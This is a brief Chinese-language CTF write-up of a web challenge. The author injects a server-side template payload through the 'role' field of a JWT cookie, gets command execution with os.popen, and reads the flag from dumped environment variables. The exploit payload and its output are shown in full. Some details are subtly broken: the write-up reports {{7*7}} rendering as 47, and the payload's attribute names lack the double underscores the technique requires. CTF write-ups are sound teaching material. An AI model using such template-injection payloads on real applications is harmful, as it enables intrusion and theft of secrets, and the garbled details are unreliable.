easy_ssti


Web - Easy_SSTI Writeup

收集信息

页面简单 显示Hello User!
分析响应 给了个cookie 是JWT格式
解密JWT
发现role字段 值为user 结合题目和网页显示
联想到通过该字段注入SSTI

测试payload

测试经典SSTI payload {{7*7}}
测试SSTI
显示Hello 47! 确定思路正确

构建payload尝试获取工作目录

1
{"role":"{{request.application.globals.builtins.import('os').popen('pwd').read() }}"}

确认可以RCE
检查根目录 home目录等寻找Flag
最终在环境变量中取得Flag

var
1
2
3
4
5
6
7
8
9
Hello KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.43.0.1:443
HOSTNAME=easy-ssti-912427c6ec8c4ce9
....
GZCTF_FLAG=XSWCTF{SSt1_1N_jW7_9ac0a4d1fc64}
....
KUBERNETES_SERVICE_HOST=10.43.0.1
PWD=/home/ctf/app
GZCTF_TEAM_ID=31 !

感谢出题人审阅 辛苦了


文章作者: 菜叶片
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 菜叶片 !
  目录